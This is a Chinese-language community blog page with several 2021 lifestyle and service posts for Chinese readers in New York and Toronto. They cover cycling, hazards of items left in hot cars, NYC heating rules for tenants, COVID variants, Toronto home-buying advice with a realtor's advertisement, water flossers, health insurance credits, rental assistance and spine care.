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自行车下的纽约都市,生活时光充满浪漫、惬意!(美国纽约法拉盛自行车商店车友会会员推荐)

骑上自行车漫步纽约,体验大都市的浪漫、惬意,感觉好像时空倒转,感慨万千!

华人朋友们,骑自行车兜风,已经成为我们不可缺少的生活一角!

美丽的都市不能缺少自行车!

美丽的生活不能缺少自行车!

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文/nacy

自行车是一件非常惬意的事,骑乘路上可以看到人们散步、遛狗,身心愉悦。最重要的是有助于培养融洽的人际关系,陌生人看着你,对你微笑,向你问好感到人与人之间的友爱善良;碰到熟识的人,下车聊几句,也很方便,而开车就没有这样的优势

骑自行车是一种非常好的运动方式,锻炼同时还能赏心悦目。骑车远行可以欣赏美丽的风景,可以看到整洁街道,精心修葺草坪,漂亮的小房子若隐若现墙院栅栏骑行可以注意到平时开车时不曾注意的商铺橱窗展示所以骑自行车比开车更有感觉。

骑程远一点的可以欣赏大自然的山水,呆萌的野生动物,如画淳朴的小桥、流水、人家…

美国人骑车人数众多多是源于爱好运动,而不是日常生活的代步工具。一到周末,爸爸妈妈会带着孩子骑车出去度假郊游,很多美国人从小就骑自行车娱乐对于上班族,周末约几个朋友出去骑车锻炼,不仅能增进感情,还可以放松心情,纾解工作力,骑行运动男女都适合骑车可以锻炼身体,又没有堵车挤车烦恼,曾经在城市中骑车上下班成为一种风气。

美国有1/3的家庭有自行车,1/10的人经常骑自行车近来呈上升趋势,骑车可以减少接触传染骑车可以锻炼身体,减少空气污染,节省燃料。

骑车不仅可以体验自由自在的感受还有好处—免费健身经济环保

1. 骑行有效的提高功能使心肌收缩有力,血管壁弹性增强。随着腿部

蹬踏动作,心跳加快,可促进身体代谢补充养料和排出废弃料

2.骑行预防大脑老化,提高神经的敏捷性。运动可加速血液循环,可让大脑获得更多的氧气

3.骑行调节心情,使精神放松,减轻压力,身心愉悦。

4.骑行能瘦身,消耗燃烧人体多余的卡路里。

美国的骑车族虽然人口众多,但传统上来看骑车在美国主要是一项爱好与运动,并非日常生活的代步工具,上下班、购物、外出等,主要还是靠汽车。骑自行车最主要受天气、骑乘距离等的限制。骑自行车过度对颈椎、腰椎以及膝关节、韧带等有损伤,症状为痛疼,主要是骑姿不对。

据统计,美国人买自行车的目的:休闲娱乐33%运动锻炼28%上班、上学代步工具17%

自行车种类很多,从作用类型分有:公路车、山地车、城市车、童车等;从按性能特点分有:耐力竞技型、混合越野型、休闲型、运动型、健身型、山道型、实用型等若干选择

骑自行车的注意事项

骑车安全十分重要。自行车要遵行与骑车同样的交通规则包括红绿灯信号、避让行人、转弯时打手势、不逆行自行车有专用车道,车道标记此外还要带头盔骑车还要特别要*注意的是:靠近停驶的汽车时减速,要当心汽车里的人突然开门等。

疫情的流行改变了我们的生活方式,人们开始思考人生,简化生活,放慢节奏,亲近大自然,爱护环境许多人开始骑自行在附近选一个好风景的地方悠哉游哉地骑上个把小时,即锻炼了身体,又清除疫情以来在家里的压力朋友们,这个周末你要不要去骑车兜风啊?

自行车上的浪漫

自行车点缀美景

可爱的自行车不能缺少!

都市里没有自行车太呆板了!

自行车是最好的礼物

小小自行车力大无穷!

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网络留言:

自行车我爱你!

没自行车这日子可怎么过!

自行车是最好的车!

自行车让生活有光彩!

骑自行车多牛哇!

2021-06-06 / 1 Comment / by / in ,
安全建议!20件绝对不能留在车内的危险物品

文|雨荷

每年美国消防员都会警告可能发生火灾,但如果将一些物品留在您的车内实际上可能非常危险。这20件绝对不能留在车内的危险物品。

1.洗手液

曾经,携带洗手液被视为只有超级挑剔的人才能做的事情,但当然现在它已成为我们所有日常工作的一部分,因此您的车里很可能有一些。这当然是有道理的,您想确保在到达某个地方后对双手进行了消毒,但是您是否知道,在某些情况下,将消毒剂放在车内实际上可能会导致火灾隐患,如果它是含酒精的产品?尤其是靠近明火时,或者如果您碰巧吸烟,就非常危险。此外,酒精也会在阳光下迅速蒸发,从而降低消毒剂的效力。因此,将消毒剂放在包里或口袋里比把它放在车里要好得多。

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洗手液 示意图。

2.塑料瓶

我们中的许多人都犯了这个错误,我们有一瓶汽水或水,然后我们把空瓶子扔到脚下。这真的不是一个好主意,因为在高温下塑料开始变质,它会释放有毒化学物质,如邻苯二甲酸盐和双酚 A,这些化学物质会破坏激素功能,并与癌症和心脏病有关。

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塑料瓶 示意图。

3.气溶胶

加压罐在汽车中是真正的禁忌,所以如果你准备好去健身房后使用的除臭剂,或者在上班路上快速喷一喷的发胶,那么你需要改变你的日常工作,因为它们真的会爆炸如果温度升高并且压力开始在罐内积聚。

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气溶胶 示意图。

4.食物

在长途汽车旅行中野餐时,您或许应该三思而后行。在夏季,许多食物在很短的时间内食用后就会变得危险。不要冒险食物中毒,如果您要开车长途旅行,请在到达目的地时购买食物。导致食源性疾病的细菌在室温下每 20 分钟增加一倍,在高温下速度更快,所以请记住这一点!

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食品 示意图。

5.饮料

热量会导致酒精蒸发,也会导致酒瓶塞爆裂。汽水罐如果太热可能会爆炸,而且暴露在阳光下会影响许多饮料的味道。饮料只是不适合旅行,所以你最好在到达时购买你需要的东西。

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饮料 示意图。

6.植物

如果您在离家较远的花园中心发现一株可爱的植物,您可能会拒绝购买,因为即使是温和的温度也会在几个小时内杀死一些植物。如果你带着植物旅行,尽量让它们保持凉爽、浇水充足和阴凉处,并尽快把它们从车里拿出来。

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植物 示意图。

7.化妆

在车里放一个化妆包对于那些快速补妆的人来说似乎很方便,但你可能会发现你的口红在温暖的天气里会融化,而任何液体,比如面霜和乳液,都很容易变质。

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口红 示意图。

8.蜡烛

与蜡笔一样,蜡烛在高温下会熔化,而放在玻璃容器中的蜡烛则非常危险,因为它们在过热时会破碎。

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蜡烛 示意图。

9.美术用品

如果孩子们喜欢在车里画画,为了在长途旅行中保持娱乐,你应该看看车内和车外的蜡笔,因为掉在地板上的蜡笔会融化,而且弄脏地毯真的很难去除.

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美术用品 示意图。

10.打火机

吸烟者应该非常小心,不要将点烟器留在车内,如果将它们放在阳光下,它们确实会引发火灾。将它们扔在仪表板或空的乘客座位上虽然很方便但不安全,不要放在车里。

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打火机 示意图。

11.电池

无论是您购买的新电池组,还是拆下旧电池并丢弃在车内,您都需要小心,因为电池在高温下可能会泄漏。蓄电池酸液有毒,还会损坏车辆内部。

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电池 示意图。

12.药品

如果暴露在高温或高湿度下,药物的效果会降低。这当然会产生严重后果,因此如果您将药物放在车内以备不时之需,请务必定期更换,要保证药品有效。

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药品 示意图。

13.电子产品

您的电子产品中充满了会受到热量不利影响的部件,因此不要冒险将手机或笔记本电脑长时间留在车内。如果您让贵重物品放在车内,容易有被盗的风险!

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电子产品 示意图。

14.手袋

袋子对小偷也很有吸引力,因为它们很可能装有信用卡、现金、手机和其他贵重物品。它也是细菌的温床,如果将它放在温暖的车内,在温暖的条件下会大量繁殖。

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手袋 示意图。

15.眼镜

如果您戴眼镜只是为了开车,把它们放在车里是有道理的,但要小心,因为镜片可以充当放大镜,实际上会引起火灾。塑料框架会在高温下熔化和翘曲,如果你有金属框架规格,如果它们在车里,不要急于戴上,它们可能会烫到你。

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眼镜 示意图。

16.防晒霜

在阳光明媚的月份,将防晒霜放在车内是很常见的,但防晒霜中的成分在高温下会分解并降低产品的保护作用。

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防晒霜 示意图。

17.湿沙滩装备

将在海滩上一天受潮的游泳装备或毛巾倾倒在车内,这将成为滋生酵母菌和细菌感染的温床。

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湿沙滩装备 示意图。

18.孩子们

作为成年人,我们非常擅长调节体温。然而,孩子们不能轻易适应高温和低温,所以在热车里是非常危险的。有一个可怕的事实是,一个孩子可能会在太热的车内在十分钟内癫痫发作,并在 20 分钟内死亡。

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孩子们 示意图。

19.宠物

在温暖的天气中,切勿将动物留在停放的汽车中,即使是在车窗部分摇下的短时间内。被困在热车里的狗可能会在几分钟内死于中暑——即使汽车没有停在直射阳光下。

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宠物 示意图。

20.宠物食品

就像人类的食物一样,宠物食品如果太热就会变质,所以当你为旅行打包宠物食品时要记住这一点!

 

 

2021-06-06 / by / in , ,
纽约租房使用暖气和热水的需知

文|雨荷

在纽约租房,所有租户都有权在天气寒冷时拥有暖气和全年热水的公寓。作为承租人,

重要的是要了解房东在提供暖气和热水方面的责任、您作为房客的权利以及如果您的房

东不履行这些责任您可以做什么。签署租约时需要支付的费用详解。

何时房东必须提供热水

不管是什么时候,如果你住在纽约,你也可以洗个热水澡。即使在夏季最热的日子

里,水也必须达到至少 120 华氏度的恒温。纽约市住房维护法和纽约州多户住宅法概

述了房东对热水的要求。

即使您的淋浴或浴缸水龙头包含将最热温度限制在 120 华氏度以下的防烫阀(为了安

全),水仍必须达到至少 110 华氏度的恒定温度。

恒定温度 示意图。

房东何时必须供暖

纽约市有一个“热季”,在此期间房东必须为租户提供暖气。根据纽约市住房法,房东需

要在 10 月 1 日至 5 月 31 日期间的特定时间以及当室外温度下降到某个点时供暖:

A.白天,如果室外温度低于 55 F,则从早上 6 点到晚上 10 点,您公寓内各处的室内温度

必须至少为 68 F。

供暖法和热水法 示意图。

B.在晚上,从晚上 10 点到早上 6 点,您公寓内各处的温度必须至少为 62 F

除了规定房东何时必须提供暖气外,该市还规定何时不应开暖气。正如您希望在冬天保

持温暖一样,您可能不希望在已经炎热的夏季在您的公寓里闷热。因此,在 6 月 1 日至

9 月 30 日之间,您可以对开着暖气的住宅楼提出投诉。

供暖法和热水法 示意图。

供暖法和热水法适用于哪些地方?

上述规定适用于在纽约市所有五个行政区出租公寓的租户:曼哈顿、布鲁克林、皇后

区、布朗克斯和史坦顿岛。它们还扩展到商业建筑和非住宅建筑,包括:

1.政府大楼

2.老年中心

老年中心 示意图。

3.私立学校

4.日托中心

5.戒毒治疗设施

如果您的房东没有提供足够的暖气或热水,您可以采取一些措施。首先,您应该联系您

的房东、物业管理公司或建筑主管报告问题。如果他们无法解决问题或拒绝尝试,下一

步是拨打 3-1-1 向纽约市民服务中心投诉。该中心将首先代表您尝试联系您的房东,如

果不成功,将派遣一名房屋检查员到您的公寓。如果检查员发现您的公寓没有足够的暖

气或热水,他们可以选择发布整栋建筑的违规行为。

 

2021-06-04 / by / in , , , ,
Covid病毒越南混合变种 印度变种 英国变种……变种病毒有多少 | 美国境内最多的变种病毒有哪几种

自从2019  年底Covid-19病毒从武汉爆发后,疫情一波一波席卷全球。更让人忧心的是,病毒在传播过程中一直在变异。自2021年4月份起,第三波疫情在亚洲爆发,并且不断检测出传播力更强的新变种病毒。

各类变种病毒

越南混合变种病毒

《路透社》报道,5月29日越南卫生部长阮清龙(Nguyen Thanh Long)称,越南检测到一种新冠病毒变种,似乎是印度和英国变种的混合,可以通过空气迅速传播,最新的突变“非常危险”。

自从检测到COVID-19病毒以来,至今检测到的病毒突变已有数千个。但是,这种新型混合变种比早前已知变种更具传染性,尤其是在空中。阮清龙说,这是在对患者新检测出的病毒进行测试后发现的。

印度变种病毒

《法广》3月25日报道,首先在印度发现的印度冠状病毒变体B.1.617呈现出两种基因突变:E484Q和L452R。E484Q与E484K相似,后者此前已在英国、南非和巴西的变异病毒中出现;L452R则在加利福尼亚变体CAL.20C中出现。然而,在印度这两种突变首次同时出现,也因此常被称为印度 “双重变异”。

这种病毒变异毒株具有更强的免疫逃逸能力。即使是接种过疫苗者,或已康复的染疫者,也可能再度快速感染。

5月10日,世界卫生组织将印度变种病毒B.1.617 升级为“令人担忧的变异株”,被视为高度警戒。印度在这一轮疫情中如同经历一场大灾难。如今,这种病毒已传播到50多个国家,

英国、南非和巴西变种病毒

同样的,英国变种B.1.1.7、南非变种B.1.351和巴西变种P.1 都被世界卫生组织定义为”令人担忧”,属于 “值得关注变种”。

世卫组织把这些变种定义为” 值得关注 “,是因为它们更易传播、患者病况更严重、患病时间更长;并且可以躲避免疫系统,使现有疫苗效力降低。

美国CDC关注的变种病毒

根据美国CDC网站公布的信息,目前CDC关注的众多变种病毒中,有5个值得关注的变种病毒,分别是:

B.1.1.7: 这种变种病毒株最初在英国检测到,2020年12月首次在美国发现。

B.1.351: 此变种病毒最初于2020年12月在南非检测到,于2021年1月在美国被首次发现。

P.1: 最初在1月初,在日本机场常规检查时,从一名巴西旅行者身上被发现。2021年1月在美国检测到。

B.1.427 和 B.1.429: 这两种变种病毒于2021年2月,最初在加利福尼亚被发现。

CDC表示这些变种病毒更易传播,并且传播速度更快。目前为止,英国变种病毒占所有病例的主要部分。CDC将随时跟踪并视情况更新数据。

6月2日,根据 “疫情全球反应和监测系统”(Global Influenza Response and Surveillance System,简称GISAID)的最新数据显示,印度变种病毒正在美国迅速传播,现在占新出现病例的7%。

印度变种病毒病例在美国迅速增加(图片:outbreak.info)

 

而在5月初的时候,仅占美国新病例的1%,之后急剧上升。科学家们担心,它的传染性可能比英国变种病毒(B.1.1.7)高60%。目前,印度变种病毒已经在美国46个州被检测到。

实验室试验表明,目前的疫苗仍然可以预防印度变种病毒,但有人担心,实验室里的数据也无法概括所有会在现实中发生的状况。微生物学家Anirban Mahapatra则指出:免疫系统是一个有着许多零件和装置的复杂机器,没有一个“打开”和“关闭”的开关。也就是说,可能发生的变化太多、太复杂,谁都无法预知将会发生什么。

2021-06-03 / by / in ,
多伦多房市火热 多伦多买房不能忽视的陷阱|最新大多房市|资深多伦多房地产经纪

现在是加拿大大多地区房地产市场上升阶段,想在多伦多地区买房,就要熟悉门道的房地产经纪人带您入市,否则房价走势多变,大多地区每个区域房市也不同,

多伦多房地产委员会(Toronto Regional Real Estate Board)近日表示,大多伦多地区(GTA)的房屋销售在 4 月份仍然强劲,但市场从今年早些时候的强劲步伐开始有放缓的迹象。

该委员会透露,上个月(四月)该地区售出了 13,663 套房屋,比 2020 年 4 月(即 COVID-19 大流行的第一个完整月)售出的 2,957 套房产增加了 362%。

然而,今年 4 月的房屋销售从一个月前(三月)的 15,652 套,下降了 12.7%。

今年前三个月充满了竞购战、价格飙升和疯狂抢购市场上房源,让人难以置信这是大疫情下的房市。
上市房也在下降,4 月份的新房上市量与一年前相比飙升了 237%,但与 2021 年 3 月相比下降了 8.4%。

平均售价为 1,090,992 加币,比去年 4 月的 820,226 加币上涨 33%,但略低于 2021 年 3 月的 1,097,565 加币。

3 月和 4 月之间的下降与往年形成鲜明对比,平均价格通常在两个月之间上涨,标志着春季销售的开始。然而,TRREB 的首席市场分析师 Jason Mercer 将今年的下降描述为“适度放缓”,并指出所有主要房屋类型的价格仍然很高。

Mercer说,近几个月来,由于 COVID-19 期间的低借贷成本刺激了住房需求,令大多房市得到了提振。 Mercer还表示:“虽然未来几个月价格增长速度可能会放缓,但房价可能会继续保持上涨趋势。”

以下是多伦多都会区的房地产数据:

年度购房数量:

多伦多都会区房价:

多伦多都会区房屋购买与上市房数量:

多伦多都会区新房价格:

多伦多都会区公寓房价:

多伦多都会区公寓销售与上市数量:

大致上了解多伦多房市的火热情况,买家该如何买房呢?专营多伦多房地产市场的于文博表示,在正常情况下,买家下买房offer的时候,一般会附带两个条件,一个是验房条件,如果验房情况一切OK,买卖合同才会继续进行;另一个是融资条件,也就是通常我们说的房屋贷款,如果买方在房贷没有批下来的前提下,他仍然有全身而退的机会。

多伦多买房 无验房附加条件如何买房

但于文博也说,在抢offer的情况下,卖家就有了更多的选择权,这个卖家有时候会倾向于选择不带任何附加条件的offer。而在这个时候为了提高自己的胜算,买方也会在情急之下,出一些不带任何条件的offer,在这里他提醒买家,「你可以下一个不带验房条件的offer,但如果是在这样的情况下,请你一定在下offer之前先验房。根据所购买房屋的大小,现在多伦多市场上验房的公价一般在350-550加币左右。这样,你花三、五百块钱提前验房,可能你下的无条件offer就会有更好的把握。」

「一般来说,在验房过程中,比较重要的问题,包括几个方面:屋顶、壁炉的使用年限;目前的状况如何;管道和电线的布局是否合理;是否存在渗漏的问题;同时,验房师还会重点检查地板是否存在开裂、倾斜的问题;门、窗是否能够关牢等等。另外,地基也是验房师在验房过程中非常注意的一个问题。」

多伦多买房 无贷款附加条件千万注意

无贷款条件的offer也要小心,多伦多房地产经纪于文博也说:“银行是否会按照你要求的、或者你评估的、或者你们成交的金额,按照预定的方式给你贷款?因为可能银行给你最后评估的价格是不一样的。”

买多伦多公寓楼 留意大楼规章与会议纪录

多伦多房地产经纪于文博提醒:“下无条件offer购买的另一种房屋类型是公寓楼。如果你买的是公寓楼,就是我们说的condo,通常也会面临着很多文件,比如说大楼委员会、业主委员会通常会制定很多规章制度,这些历史上的业主开会记录等的细节文件,买方也不可完全忽略。”

为何以前的大楼规章制度、开会纪录都要注意呢?于文博说:“因为历史记录上可以会涉及房屋的一些关键问题。比如说开发商和业主有关房屋问题无法赔付的备忘,或者该房屋的法律纠纷等等,买方不能完全忽视这些文件,需要防患于未然。”因此,找一位用心、了解门道的多伦多房地产经纪绝对是进入多伦多地区房市的钥匙。

通过上面于文博给大家的介绍,大家就应该知道,一旦下了无条件offer,并且付了定金,买方在法律上其实就不存在任何保护了,所以无条件offer风险事实上是比较大的,需要根据买方在实际过程中酌情斟酌处理。那么,如果无条件offer事后出现法律纠纷,通常法律问题的解决也会旷日持久、劳民伤财。所以在购房过程中,不管抢offer或者竞争有多激烈,或者你对该房屋有多么满意和钟爱,仍然要对签订无条件offer的后果进行充分的考量,三思而后行。

大多地区房地产场:新移民留意法律基本常识

接下来,于文博介绍一些我们可能遇到的法律问题。通常由于东西方的文化差异,会导致购房过程中各种各样的冲突。因为不理解或者对英文的意思不明白,从而导致很多问题的发生。

比较常见的问题有,有的朋友在购房过程中不是很严肃。很多客人跟我讲,我们就随便下个offer,谈谈价钱,试试看,这种不是很严肃的态度,实际为他以后找上麻烦带来法律隐患。我们把他叫法律隐患,是因为他自以为即使将来对方接受了这个offer,我也可以随便找个理由撤出来。

比如说银行贷款这些条件,有的人说最后我拿这个当借口,说我没办下来银行贷款。但是有的时候,如果卖家要严肃认真起来,他会问你你去哪个银行贷款,然后他就去那个银行去查,那最后发现你没有在那个银行做过贷款,那可能最后就可能导致你摊上法律问题,也可能卖家会到法院去告你。这是一个非常严肃的问题,希望大家引起注意。

第二个就是在下了定金之后,很多人也问过我,说如果下了定金我不想要了,我的定金怎么处理?如果你不想要了,首先这个定金你是非常难拿回来的,因为在正常情况下,定金一旦进了信托账户(Escrow),要拿出来就需要双方签字同意,这个钱才可以拿的出来。

但是你下了定金你又不要了,你说哪个卖方通常会情愿地把定金退给你,所以那个时候就可能会产生官司,所以说这不是儿戏,希望买方交付定金的时候,也三思而行。有的人会是这样,比如说在房价跌了的情况下,你认为合同上的房屋价格与市场价格之间的差价,已经大于你付的定金了,就会改变主意,反正房价已经跌了,大不了就不要定金了呗。

事实上完全不是那么回事,卖家是完全有理由告你,并且可以在你身上拿回你相应造成的损失。他的理由很充分,因为是由于你的原因给他造成了经济损失,并且影响了他的生活安排和他的生活计划。所以,这可能会引起非常麻烦的法律纠纷。

大多地区房地产:卖家可能隐藏某些房产信息

另外,当你付了定金之后,你发现一些令你不满意的地方,或者说前任屋主在卖房的时候有一些隐瞒条件、或隐瞒状况没有跟你说明,比如说明明知道这个房子种过大麻,或还有些其他不好的事情但向你隐瞒了,那么这个事情在成交之后,我们就可以通过相应的法律手段来维护自己的正当的权益。

所以我在这里提醒买家,最好在成交之前,能尽到责任就尽量尽到责任,最好去市政府查一下,这个房子有没有大麻的记录、有没有什么不好的行为、有没有什么其他违法的事情,或者任何法律产权方面的文件,这些都要看仔细了。

比如说合同上面写的房屋产权面积是八千尺,那么是不是有跟邻居共享的、是不是有公用设施所拥有的、是不是别人有路上通过权、或者是一部分不能造房子的,这些地是要排除在外的,这都需要你看仔细,以免当你成交之后,需要通过其他的一些法律手段来保护你的个人权益。

所以新移民买家在购买房子的时候,还是希望大家仔细看一下这些法律文件,最好是找相关的律师帮您看看,或者找比较有经验的经纪。

多伦多房地产经纪于文博、于军:

于文博、于军是加拿大注册房地产经纪人,大多地区资深投资经纪。有着丰富的买房卖房,租赁和投资地产经验,于文博团队多年来秉承一旦受托,终身口碑的服务宗旨,诚信不欺、实心从客户角度考虑、让客户在房产买卖过程中舒心满意,有安全感。

于文博自幼从中国来到加拿大,有中西文化双重背景,游刃于中西思维文化差异之中,精通中文、英文、法文和计算机,是大多伦多地区优秀地产经纪、地产投资专家。始终奉守“诚信专业, 实干吃苦”的从业原则,听取不同客户需求,用娴熟的专业谈判技巧和经验为新老客户获取最大利益,帮助客户做出最适合自己的选择。我们团队一直秉承,做生意不止是赚取利益,而是赚取人心的这一理念!为你的投资保驾护航!于军曾是国内资深律师,有着丰富的大型商业谈判经验,为人勤奋努力、性格真诚豁达,长久以来一直为无合约的卖家朋友免费进行房产评估,并长期做报刊地产专栏主笔。

欢迎联系加拿大多伦多地产专家:于文博地产团队
电邮:bobyuwenbo1995@gmail.com
电话:437-881-8888
网址:https://torontobobyu.com/

2021-06-03 / by / in ,
冲牙器比牙刷更有好处吗?|冲牙器能取代牙线吗?|哪些人需要用冲牙器|纽约牙科医生

世界上首台冲牙器是在1962年,由美国杰出的牙科医生杰拉德•莫耶和工程师约翰•马丁利发明的,是一种非常好的清洁牙齿的工具,已经快有60年的历史了。近年来被越来越多的人接受和喜欢,近期甚至成为很多电商平台的销售黑马。美国牙医协会(ADA)还有很多纽约的牙科医生,也都在向有牙患的朋友推荐使用冲牙器。

冲牙器的功能到底是什么?

冲牙器(Water Flosser)是一种家用的针对口腔清洁的小机器,冲牙器的工作原理,是通过高压的脉冲水柱,靠水流冲击力来清洁牙齿侧面缝隙、牙龈与牙齿交接处的缝隙等隐蔽位置,清除牙缝间食物残渣、去除牙菌斑和牙垢,对于配戴矫正器容易卡住食物的人特别有效。

冲牙器还具有按摩牙龈、消除口腔异味、缓解牙痛和预防蛀牙的作用。

一些研究数据表明,每天使用一次冲牙器产生牙结石和牙龈炎的概率可以减少 50%。东京齿科大学的一项临床试验表明,比起用牙刷洁牙,使用冲牙器可以更好的抑制牙菌斑。

哪些人需要使用冲牙器?

其实所有人都可以使用冲牙机。使用方法简单,对于牙齿的伤害也很低。但是牙科医生特别推荐以下人群使用冲牙器:

  • 有一些人会感觉到后面的牙齿,怎么样都清不干净,用牙刷也没有办法刷到最后一颗牙齿。也有人他的智齿没有完全长出来,那个地方就非常容易累积食物残渣刺激周围组织,继而引发炎症。这就要靠冲牙器来清干净那里。
  • 带牙套的人和牙齿矫正者,冲牙机产生的水柱可以达到很好的清洁效果,能够彻底清除卡在矫正器上的食物残渣,还可以进行牙龈按摩。
  • 第三种就是植牙或是有牙桥的这些人。牙桥(固定假牙)通过邻牙来固定,所以下会有潜在的间隙,冲牙器能够把这些间隙里的东西冲干净。如果用牙线,是非常难清干净植牙和牙桥的,因为牙线是没有办法进去的。有植牙的人,平常用牙线的方式,有可能会造成植牙旁边的牙龈受到创伤。
  • 第四种就是有牙周病的人,他们除了牙线和牙刷,需要更多辅助的清洁方式。冲牙器能有效纾缓症状。
  • 儿童和老人,纽约牙科医生也很推荐使用冲牙器, 小朋友的牙缝通常很密,要用牙线来做清洁往往十分困难,老人常常手没力或是不灵活,也无法藉由牙线清洁牙缝,利用冲牙机简单方便又有效率。

冲牙器能不能完全代替牙线?

 

答案是否定的。冲牙器的功能非常非常的好,可以很干净的清洗牙齿,但是它还是不能完全代替牙线的功能。 因为冲牙器它再厉害,它还是没有办法真正清除牙缝中间的那些牙菌斑和在牙龈下面的那些牙菌斑。仅靠水流冲击力也不能够清洗顽固的污渍,这些一定要用牙线才能够做得到。

美国牙医协会虽然非常推荐大家使用冲牙器,但是同样的还建议大家要用牙线。

纽约牙科医生建议,在刷牙前后,各使用一次冲牙器

纽约的牙科医生建议刷牙前后各使用一次冲牙器,效果最佳。刷牙前使用冲牙器,只要冲洗1~3分钟,就可以初步把牙缝里的食物残渣碎屑冲洗干净。接着刷牙、使用牙线或牙间刷,然后再使用冲牙机,藉冲牙器的高压脉冲水流彻底清洁牙缝与牙菌斑。

 

冲牙器都会有多种喷头可搭配使用。在种类的选择上,分为“家用”和“旅行随身携带”两种。家用机种通常可让全家人共同使用;而随身机种则适合经常出差,或习惯在外用餐后需要刷牙的使用者选用。

 

2021-06-02 / by / in , , ,
纽约保费税收减免 减少医疗保险费用 | 2021年高收入者也可税收减免

通过纽约州健保市场(NY State of Health)购买医疗保险的纽约人,今年可以获得更多税收减免(tax credit),减少支出健康保险费用了。

什么是保费税收减免:保费税收减免可降低健康保险费用,通过纽约州健康 (NY State of Health) 交易市场就可以申请保费税收减免。

“2021美国救助计划”(The American Rescue Plan 2021)于2021年3月11日签署后,该法案正式生效。之后,纽约州健保市场宣布,将为通过“纽约健保市场”投保的人,目前约150,000人提供更多的财政援助。纽约人可以获得更多的税收减免,减少医疗保险费用的支出。这项新的、力度更大的援助,适用于现有的投保者以及新投保者,还包括了符合条件投保的较高收入的个人。

从4月初开始,中等收入或低收入的纽约人(个人收入达最高 51,040 美元,四口之家的收入最高 104,800 美元),如果已通过NY State of Health投保, 会收到通知登录NY State of Health的网站、致电或联系经过认证的健保协助人员,更新自己的信息。在4月份完成更新登记的中等收入或低收入投保人,应该已经收到保费收据,上面显示从5月份开始降低的保险费金额。

税收减免

从6月份开始,系统则自动升级将力度更大的税收减免应用于投保人员,包括较高收入人员(个人收入超过 51,040 美元,四口之家收入超过 104,800 美元)也将可以获得联邦税收抵免。而较高收入者以前是没有税收抵免资格的。

对于2021年领取失业金的纽约人,“美国救助计划”将允许他们通过“纽约健保市场”(New York State of health)签署一份几乎免费的2021年医疗保险计划。不过参加该计划后,就不能参加其它健康保险了,比如医疗补助计划(Medicaid)、联邦医疗保险(Medicare)或雇主赞助的保险。

为了让尽可能多的民众获得这些税收抵免,纽约州卫生部将健保计划的开放注册期,延长至2021年12月31日。延长截止日期是方便投保人有更多的时间注册2021年的医疗保险。

根据2021美国救助计划,纽约居民在 2021 年将获得总额 7 亿美元的税收抵免。

另外医疗补助计划(Medicaid)、基本计划(Essential Plan)和儿童健康附加计划(Child Health Plus)也可以全年投保。

需要办理健保事项的可以致电(1-855-355-5777)或访问纽约州健保网站(www.nystateofhealth.ny.gov)。

2021-06-02 / by / in , , ,
房东最多可获补一年欠租 纽约“紧急租金援助”开放申请/纽约疫情期间房租未付/房租拖欠

房东最多可获补一年欠租 纽约“紧急租金援助”开放申请

纽约州“紧急租金援助计划”(ERAP)将于今天(6月1日)早上9点开放申请,“纽约法律援助组织”(NYLAG)提醒,申请者应提前做好准备,相信一旦申请途径开通,申请人将蜂拥而入,在开通首日,网站可能会大塞车甚至崩溃。

“紧急租金援助计划”为疫情期间遭受经济困难、无力支付租金、电费燃气费的中低收入家庭提供救济。援助项目包括提供住宅租金拖欠的援助、电费燃气费拖欠的援助,以及临时的租金援助。

房客的租金欠款,将直接支付给房东,最多可援助12个月的租金欠款。

第20选区市议员参选人黄敏仪在上周末,与“纽约法律援助组织”合作,在黄敏仪位于法拉盛40路的办公室开设咨询点,为房东提供咨询服务,回答了房东有关物业税、紧急租金援助等问题。

“紧急租金援助”的申请资格是:

•家庭收入在地区中位数收入(Area Median Income, AMI)的80%或以下(家庭人口1人不超过66,850美元;两人不超过76,400美元;三人不超过85,950美元;四人不超过95,450美元);

•在2020年3月13日当天或之后失业(或收入遭受重大损失);

•有义务支付租金;并有无家可归的危险。

符合条件的家庭可能会收到在2020年3月13日或之后的租金欠款(最多12个月),这些款项将直接支付给房东。

房客需要提供的文件有:

•个人身份证明

•社会安全号码

•租金金额证明

•居住证明

•收入证明

•煤气费、电费账单副本

援助计划也向房东和业主开放,申请时他们需要提供:

•完整的W-9表格;

•与租户申请人所签订的租约,如果没有书面租约,则应提供付租金的资金转账凭证或最近月租金的证明文件;

•承租人应付租金的文件;

•银行信息以直接接收援助款。

房东须同意以下条款,作为接受租金欠款补助的条件:

•ERAP援助款支付给房东后,视为承租人的全部租赁义务已履行;

•对于租金欠款,免除任何滞纳金;

•在收到租金援助的月份以及收到付款一年内,不得增加租金;

•在收到援助款之日起一年内,不得因租赁到期或租赁延长而驱逐住户;如果住宅是四个或四个以下的单元,而且财产所有者或财产所有者的直系亲属打算使用该单元作为主要住宅,则除外。

“紧急租金援助计划”申请网站及更多信息请查阅:https://otda.ny.gov/programs/Emergency-Rental-Assistance/

2021-06-01 / by / in
怎样治疗腰椎和颈椎病?治疗腰椎和颈椎病的好方法。

您對腰椎和頸椎病有常見的誤解嗎?神經肌肉專科幫助您治療和預防腰椎頸椎病

一位患者腰痛傳遞到左腿﹐左腿發麻刺痛無力﹐導致走路困難﹐左邊坐骨神經也疼痛。看骨科脊椎科醫生建議要開刀﹐看痛症科醫生建議不用開刀但要打類固醇﹐患者慕名找到伍安麗醫生希望找到他的診斷和治療的合理意見。經過伍醫生的檢查和神經肌電圖的測試分析,再參考病人的腰椎核磁共振(腰骶椎MRI),伍醫生提供了多種不同的治療方案,解釋了不同治療方案的效益和風險幫助病人根据他的病情選擇最佳治療方案。

神經肌肉的疾病是神經專科里的專科﹐是一個複雜的科系。 它包括頸椎腰椎神經根壓迫﹐神經﹐肌肉﹐運動神經元﹐神經肌肉交結處異常的疾病。神經肌肉疾病一些普通的症狀包括痲痺﹐刺痛﹐無力﹐酸軟﹐頸痛傳遞到手臂﹐腰痛傳遞到腿﹐走路不穩﹐腳底燒灼感等等。檢查神經的感知和肌肉的力量是非常有學問的。 神經的感知包括對觸摸﹐溫度﹐疼痛等的反應。 肌肉的力量分近端和遠端﹐身體里每一塊肌肉的力量測試都有不同的方式﹐才能分辨哪一塊或哪一組肌肉無力或受到損傷。 神經肌肉的檢查還包括檢查深度肌腱反射和步態。

